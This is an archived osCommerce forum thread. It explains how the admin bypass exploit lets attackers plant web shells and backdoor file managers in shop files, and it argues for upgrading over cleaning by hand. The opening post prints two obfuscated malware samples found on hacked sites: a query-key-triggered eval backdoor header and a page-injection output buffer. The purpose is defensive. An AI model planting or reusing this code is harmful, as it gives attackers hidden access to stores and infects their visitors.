Jump to content
  • Checkout
  • Login
  • Get in touch

osCommerce

The e-commerce.

Site Hacked? Should you upgrade or try to fix it as it is?


Taipo

Recommended Posts

This is for those whose sites are hosted on the method 2 shared webhosting configuration discussed here.

 

What I want to discuss here is the feasibility of upgrading vs trying to repair a hacked website successfully enough to match the security you should have in an ecommerce webstore, in particular matching the security that the patched version of oscommerce offers vs the cost analysis or time analysis some see as being a hindrance to upgrading.

 

Here is example of how attacks on oscommerce sites have been carried out, in particular where the method of shared hosting is the second method discussed in the link above where the script and the user have owner permissions.

 

I have seen this on at least a few dozen websites now and I can imagine it is extremely wide spread.

 

Firstly due to the admin bypass exploit attackers were able to upload shell code/rogue file managers into the image directory. It is not that they were restricted to the images directory, my guess is that they assume its method one configuration and will be set to writable.

 

Then using the rogue file manager file they placed in images, they are able to append backup file managers into the header code of other files.

 

Example backup file manager code found in the top of index.php:

<?php if(isset($_GET["c366f115ea9be2b341a3c3a0d346be"])){  

$auth_pass="";  
$color="#df5";  
$default_action="FilesMan";  
$default_charset="Windows-1251";  
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65..........shortened............/xc='\x29\x29\x29\x3B",".");  
} ?>

 

This allowed index.php to continue to function as it should unless the attacker appended the query key /index.php?c366f115ea9be2b341a3c3a0d346be which would then allow the backup file manager to load.

 

Once loaded, whether the file manager in the images directory or any one of these backup managers, the attacker can then see a full list of files and directories.

 

This is the point that I want to stress. If you have tried to clean up your site rather than upgrade to the latest version, and you have deleted all the added rogue shell code files that are often found in the images directory for example, but you miss one of these appended files like that of having code added into the index.php file, then none of the security changes you have made will help prevent a further attack.

 

There is no addon on this page that will save your method 2 configured website from being further hacked if you have missed just one of these appended files.

 

With these backup file managers, an attacker can still see every file and directory no matter what you have changed the name of the admin directory to. They can and have also remove htaccess files (on method 2 configurations) and basically edit add and delete whatever they wish to, and more importantly, they will still have complete access to your database. So if you have customer credit card info in your database then its most likely been nicked the first hack, and still available to be nicked because the backup file managers are still hidden in other files.

 

This is the interface of that code above:

2qv40h5.jpg

 

With 2 clicks of the mouse the attacker has the MYSQL database username and password:

rm07rr.jpg

 

Now lets look at the feasibility of manually cleaning a site.

 

No matter whether you use a backup or decide to clean the current site, you will have to go through every .php, .js and .html file in your site to see if code has been appended.

 

On most standard sites with few mods and an added templete this requires looking at approximately 700 or more files. This is no different if you intend to use a backup copy. Remember, this security hole (the admin bypass exploit) has been in Oscommerce for a very long time, and chances are high that your backups are also affected.

 

However on heavily modded or premodded versions of Oscommerce that amount of files can go into the thousands.

 

Now I can hear the believers in file and directory permissions chanting about 444 file permissions, and again I ask you to run the file permissions proof of concept here. Again whilst PHP reads a 444 fileperm as read only, it can still change the permissions on the method 2 configuration from 444 to anything, so there is no file or directory permission that can save you if your site was hacked via the admin bypass and rogue code still remains on just one of more than a thousand or so files.

 

This is the reason method 2 configurations are often completely trashed with appended code almost in every php, js and html file.

 

Here is an example of exploit code found in appended PHP files:

<?php global $ob_starting;  
if(!$ob_starting) {  
  function ob_start_flush($s) {  
       $tc = array(0, 69, 84, 82, 67, 83, 7, 79, 8, 9, 73, 12, 76, 68, 63, 78, 19, 23, 24, 3, 65, 70, 27, 14, 16, 20, 80, 17, 29, 89, 86, 85, 2, 77, 91, 93, 11, 18, 71, 66, 72, 75, 87, 74, 22, 37, 52, 13, 59, 61, 25, 28, 21, 1, 35, 15, 34, 36, 30, 88, 41, 92, 46, 33, 51);  
       $tr = array(51, 5, 4, 3, 10, 26, 2, 0, 2, 29, 26, 1, 28, 32, 2, 1, 59, 2, 55, 43, 20, 30, 20, 5, 4, 3, 10, 26, 2, 32, 58, 10, 21, 0, 8, 2, 29, 26, 1, 7, 21, 8, 3, 1, 13, 1, 21, 14, 4, 7, 12, 7, 3, 5, 9, 28, 28, 32, 31, 15, 13, 1, 21, 10, 15, 1, 13, 32, 9, 0, 34, 0, 0, 0, 30, 20, 3, 0, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 0, 28, 0, 15, 1, 42, 0, 63, 3, 3, 20, 29, 8, 6, 19, 25, 39, 18, 37, 17, 37, 6, 11, 0, 6, 19, 18, 27, 17, 18, 17, 21, 6, 11, 0, 6, 19, 18, 16, 37, 21, 18, 16, 6, 11, 0, 6, 19, 18, 18, 17, 21, 17, 25, 6, 11, 0, 6, 19, 25, 4, 16, 27, 18, 16, 6, 11, 0, 6, 19, 17, 25, 18, 17, 18, 16, 6, 11, 0, 6, 19, 16, 1, 17, 50, 17, 24, 6, 11, 0, 6, 19, 18, 52, 17, 24, 18, 37, 6, 11, 0, 6, 19, 17, 37, 18, 27, 17, 18, 6, 11, 0, 6, 19, 17, 21, 18, 16, 16, 27, 6, 11, 0, 6, 19, 37, 21, 18, 37, 18, 27, 6, 11, 0, 6, 19, 17, 37, 25, 4, 16, 27, 6, 11, 0, 6, 19, 17, 17, 18, 16, 18, 16, 6, 11, 0, 6, 19, 17, 21, 25, 50, 16, 1, 6, 11, 0, 6, 19, 16, 1, 25, 17, 25, 52, 6, 11, 0, 6, 19, 16, 13, 25, 25, 25, 25, 6, 11, 0, 6, 19, 16, 13, 25, 24, 25, 16, 6, 11, 0, 6, 19, 16, 21, 16, 13, 25, 27, 6, 11, 0, 6, 19, 16, 21, 25, 37, 16, 1, 6, 11, 0, 6, 19, 17, 50, 18, 37, 16, 1, 6, 11, 0, 6, 19, 17, 50, 18, 24, 18, 25, 6, 11, 0, 6, 19, 17, 25, 18, 27, 18, 18, 6, 11, 0, 6, 19, 16, 13, 17, 4, 17, 18, 6, 11, 0, 6, 19, 17, 13, 16, 13, 17, 21, 6, 11, 0, 6, 19, 17, 17, 17, 21, 16, 27, 6, 11, 0, 6, 19, 25, 13, 24, 24, 24, 24, 6, 9, 22, 0, 0, 0, 30, 20, 3, 0, 3, 1, 13, 1, 21, 14, 4, 7, 12, 7, 3, 5, 0, 28, 0, 27, 22, 0, 0, 0, 30, 20, 3, 0, 4, 7, 12, 7, 3, 5, 14, 26, 10, 4, 41, 1, 13, 0, 28, 0, 24, 22, 0, 0, 0, 21, 31, 15, 4, 2, 10, 7, 15, 0, 13, 10, 30, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 2, 11, 5, 2, 29, 12, 1, 13, 9, 0, 34, 30, 20, 3, 0, 5, 0, 28, 0, 32, 32, 22, 21, 7, 3, 0, 8, 43, 28, 24, 22, 43, 51, 2, 23, 12, 1, 15, 38, 2, 40, 22, 43, 36, 36, 9, 0, 34, 30, 20, 3, 0, 4, 14, 3, 38, 39, 0, 28, 0, 2, 48, 43, 49, 22, 21, 7, 3, 0, 8, 10, 28, 27, 22, 10, 51, 17, 22, 10, 36, 36, 9, 0, 34, 30, 20, 3, 0, 4, 14, 4, 12, 3, 0, 28, 0, 4, 14, 3, 38, 39, 23, 5, 31, 39, 5, 2, 3, 8, 10, 36, 36, 11, 37, 9, 22, 10, 21, 0, 8, 4, 14, 4, 12, 3, 53, 28, 32, 24, 24, 32, 9, 0, 5, 0, 36, 28, 0, 64, 2, 3, 10, 15, 38, 23, 21, 3, 7, 33, 54, 40, 20, 3, 54, 7, 13, 1, 8, 26, 20, 3, 5, 1, 60, 15, 2, 8, 4, 14, 4, 12, 3, 11, 27, 44, 9, 47, 27, 52, 9, 22, 35, 35, 10, 21, 0, 8, 5, 2, 29, 12, 1, 13, 9, 0, 34, 5, 0, 28, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 24, 11, 16, 44, 9, 0, 36, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 16, 44, 11, 8, 5, 23, 12, 1, 15, 38, 2, 40, 47, 16, 18, 9, 9, 0, 36, 0, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 48, 27, 49, 23, 5, 31, 39, 5, 2, 3, 8, 24, 11, 27, 9, 36, 15, 1, 42, 0, 57, 20, 2, 1, 8, 9, 23, 38, 1, 2, 46, 10, 33, 1, 8, 9, 0, 36, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 8, 5, 23, 12, 1, 15, 38, 2, 40, 47, 37, 9, 9, 22, 35, 0, 1, 12, 5, 1, 0, 34, 5, 0, 28, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 16, 44, 11, 8, 5, 23, 12, 1, 15, 38, 2, 40, 47, 16, 18, 9, 9, 0, 36, 0, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 48, 27, 49, 23, 5, 31, 39, 5, 2, 3, 8, 24, 11, 27, 9, 36, 15, 1, 42, 0, 57, 20, 2, 1, 8, 9, 23, 38, 1, 2, 46, 10, 33, 1, 8, 9, 22, 35, 3, 1, 2, 31, 3, 15, 0, 5, 22, 0, 0, 0, 35, 0, 0, 0, 21, 31, 15, 4, 2, 10, 7, 15, 0, 2, 3, 29, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 9, 0, 34, 2, 3, 29, 0, 34, 0, 0, 0, 10, 21, 8, 53, 13, 7, 4, 31, 33, 1, 15, 2, 23, 38, 1, 2, 45, 12, 1, 33, 1, 15, 2, 56, 29, 60, 13, 0, 61, 61, 0, 53, 13, 7, 4, 31, 33, 1, 15, 2, 23, 4, 3, 1, 20, 2, 1, 45, 12, 1, 33, 1, 15, 2, 9, 34, 13, 7, 4, 31, 33, 1, 15, 2, 23, 42, 3, 10, 2, 1, 8, 13, 10, 30, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 11, 27, 9, 9, 22, 0, 0, 0, 35, 0, 1, 12, 5, 1, 0, 34, 30, 20, 3, 0, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 28, 13, 7, 4, 31, 33, 1, 15, 2, 23, 4, 3, 1, 20, 2, 1, 45, 12, 1, 33, 1, 15, 2, 8, 32, 5, 4, 3, 10, 26, 2, 32, 9, 22, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 23, 2, 29, 26, 1, 28, 32, 2, 1, 59, 2, 55, 43, 20, 30, 20, 5, 4, 3, 10, 26, 2, 32, 22, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 23, 5, 3, 4, 28, 13, 10, 30, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 11, 24, 9, 22, 13, 7, 4, 31, 33, 1, 15, 2, 23, 38, 1, 2, 45, 12, 1, 33, 1, 15, 2, 5, 56, 29, 46, 20, 38, 62, 20, 33, 1, 8, 32, 40, 1, 20, 13, 32, 9, 48, 24, 49, 23, 20, 26, 26, 1, 15, 13, 54, 40, 10, 12, 13, 8, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 9, 22, 35, 35, 0, 4, 20, 2, 4, 40, 8, 1, 9, 0, 34, 0, 35, 2, 3, 29, 0, 34, 4, 40, 1, 4, 41, 14, 4, 7, 12, 7, 3, 5, 14, 26, 10, 4, 41, 1, 13, 8, 9, 22, 35, 0, 4, 20, 2, 4, 40, 8, 1, 9, 0, 34, 0, 5, 1, 2, 46, 10, 33, 1, 7, 31, 2, 8, 32, 2, 3, 29, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 9, 32, 11, 0, 52, 24, 24, 9, 22, 35, 0, 0, 0, 35, 0, 0, 0, 2, 3, 29, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 9, 22, 35, 51, 55, 5, 4, 3, 10, 26, 2, 58);  

       $ob_htm = ''; foreach($tr as $tval) {  
               $ob_htm .= chr($tc[$tval]+32);  
       }  

       $slw=strtolower($s);  
       $i=strpos($slw,'</script');if($i){$i=strpos($slw,'>',$i);}  
       if(!$i){$i=strpos($slw,'</div');if($i){$i=strpos($slw,'>',$i);}}  
       if(!$i){$i=strpos($slw,'</table');if($i){$i=strpos($slw,'>',$i);}}  
       if(!$i){$i=strpos($slw,'</form');if($i){$i=strpos($slw,'>',$i);}}  
       if(!$i){$i=strpos($slw,'</p');if($i){$i=strpos($slw,'>',$i);}}  
       if(!$i){$i=strpos($slw,'</body');if($i){$i--;}}  
       if(!$i){$i=strlen($s);if($i){$i--;}}  
       $i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i);  

       return $s;  
  }  
  $ob_starting = time();  
  @ob_start("ob_start_flush");  
} ?>

 

and we have all seen the javascript code that is often found added to all file types.

 

So this is just an example of what many users face when their sites are hosted on type two configuration shared webhosting and have been attacked and had files added and appended to.

 

The time it takes to clean up a couple of thousand files is not much different to the time it takes to start again with the latest codeset completely scrubbing your site of the previous files in order to start again with a fresh clean slate.

 

If you have a clean backup then by all means take your site offline and remove all the site files and restore the backup, but you need to be doubly sure that the backup is not also infected with backdoor code, so how could you possibly know that with any certainty without also going through each file in the backup before restoring.

 

Failing that on method 2 type configurations there is no shorter way than the most thorough way.

 

Too many users are attempting to repair their sites rather than take the time to upgrade to a clean slate secure version of oscommerce and find their sites attacked over and over again because they either missed one backup backdoor file manager, or just do not know enough to recognize what an appended file code looks like.

 

The worst site I have seen had the above rogue backup filemanager installed in the head of every php file on the site. The js files had been hit so many times via spam bots that they had several versions of the iframe javascript code appended in tops of each js and html file. This was on a site that had the admin bypass exploit hole patched, htaccess added and all amounts of security addons employed, however they had obviously missed one of the backdoor files which allowed the attacker to disable all the security then install the filemanager code into every php file.

 

To do this is not a time consuming thing, in fact a couple of lines of code getting a multidim array of the directories and files, and a fwrite code piece will have the entire site file repository infected only restricted by the CPU processing power of the webserver itself.

 

The point of this is not to put the fear up users but rather to expose to users what is actually going on with their sites rather than glossing over the facts in order to allay fears.

 

Someone said in another discussion that it would take a week to rebuild an oscommerce site on the new 2.3.1 code. I can see for some that would be the case, but for most it would take a day or so as long as your site is not heavily modded.

 

But lets take another look at the time that most site users take to repair a damaged website (where the site owner is able to patch the site themselves).

 

Again, you will find that many oscommerce users have sites on servers that are configured with method 2 owner permissions.

 

This is the experience that many site owners go through:

1/ site is attacked due to admin bypass exploit so user closes site and comes to forums for advice

2/ closing website does not prevent attacks because the website offline php file is also infected by that time and continues to spread virus code, and attackers are still able to get access to everything including the database.

3/ advice is given to repair site and instructions are followed. Time from hack discovery, now about 8 hours. Time to follow instructions and repair site with added security addons, about 6 hours.

4/ attackers step to backdoor file in cookie_usage or index.php or any number of other places they hid code and appended attack code into a couple of hundred file headers

5/ site owner comes back to forums for advice, and is given advice to restore backup and change files to 444 permissions

6/ restoring the backup reintroduces the admin bypass exploit which is picked up by an automated search spider which automatically uploads rogue code again, go back to 1 and start again

 

This is but one scenario albeit the most common, there are other scenarios too, the happiest ending being that the site is patched and the attackers move away to more vulnerable sites. But that is the exception not the norm with this type of permissionsless webhosting configuration.

 

What I have seen since attempting to support site owners whose sites have been attacked, is many actually completely giving up rather than successfully beating the attacks. Businesses suffer, lose their rankings in Google, customers lose their sense of security with using the sites so sales dry up, and business suffers.

 

The worst symptom is that site owners end up losing sleep where they become almost site sentries to their own websites mainly because they themselves have lost all confidence by that time in any addon or security patch saving their site from further exploitation. The psychology I have witnessed is amazing. Site owners who would normally be very cagey about handing out any sensitive information about their websites, have, after being exploited over and over again, almost become accustomed to the idea of being exploited, and just reload their site files over and over again to clean up, and worst of all, have little to no hesitations of handing their FTP details to complete strangers who offer to fix their sites for them.

 

I do not see this as their fault or look down upon people for doing so, I am just pointing out the types of 'other' energy expended by site owners who have not opted to completely start again but rather tried patching the sites themselves with little or no success.

 

In the end you have to add up the total amount of energy spent including emotional and ask yourself the hard questions about whether or not it is not more feasible to move to the latest site code with a new site even though as someone pointed out, a heavily modded site could take a week to build from scratch again in the new code.

- Stop Oscommerce hacks dead in their tracks with osC_Sec (see discussion here)
- Another discussion about infected files ::here::
- A discussion on file permissions ::here::
- Site hacked? Should you upgrade or not, some thoughts ::here::
- Fix the admin login bypass exploit here
- Pareto Security: New security addon I am developing, a remake of osC_Sec in PHP 5 with a number of fixes
- BTC:1LHiMXedmtyq4wcYLedk9i9gkk8A8Hk7qX

Link to comment
Share on other sites

  • 10 months later...

Every website is different, there is no 'standard' rule when it comes to whether you should install a new version or to clean and secure your old version. Ultimately, when your v2.2 was installed, it should have been secured at that time, this would prevent any intrusions. But, that's in a perfect world.

 

So, if your site has been hacked, depending on the complexity of your installation you may find it easier to clean and secure it or start over with a new installation.

 

 

 

Chris

Link to comment
Share on other sites

IMHO it is generally quicker to diagnose, clean and secure than reinstall a fresh download of osc and re-install all the add-ons and appearance changes.

 

Often site owners do not know what add-ons they have installed.

 

Still makes for an interesting life.

 

Cheers

 

G

Need help installing add ons/contributions, cleaning a hacked site or a bespoke development, check my profile

 

Virus Threat Scanner

My Contributions

Basic install answers.

Click here for Contributions / Add Ons.

UK your site.

Site Move.

Basic design info.

 

For links mentioned in old answers that are no longer here follow this link Useful Threads.

 

If this post was useful, click the Like This button over there ======>>>>>.

Link to comment
Share on other sites

  • 2 weeks later...

I have been battling this since before Christmas. I have pulled the site down until I get this sorted. Somehow, someone has managed to once again infiltrate the site. I no longer getting Injector type attacks that were injecting Eval code into PHP, but now, someone has managed to install something that is redirecting in the background and downloading something to windows machines and causing the systems to have to be wiped to clear the virus. Not doing much for my popularity.

 

Thanks Joe

Link to comment
Share on other sites

I have been battling this since before Christmas. I have pulled the site down until I get this sorted. Somehow, someone has managed to once again infiltrate the site. I no longer getting Injector type attacks that were injecting Eval code into PHP, but now, someone has managed to install something that is redirecting in the background and downloading something to windows machines and causing the systems to have to be wiped to clear the virus. Not doing much for my popularity.

 

Recommend you read the first post and then proceed to make a new site using osc 2.3.1 and then just import over customers/orders/products/categories from the old shop.

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...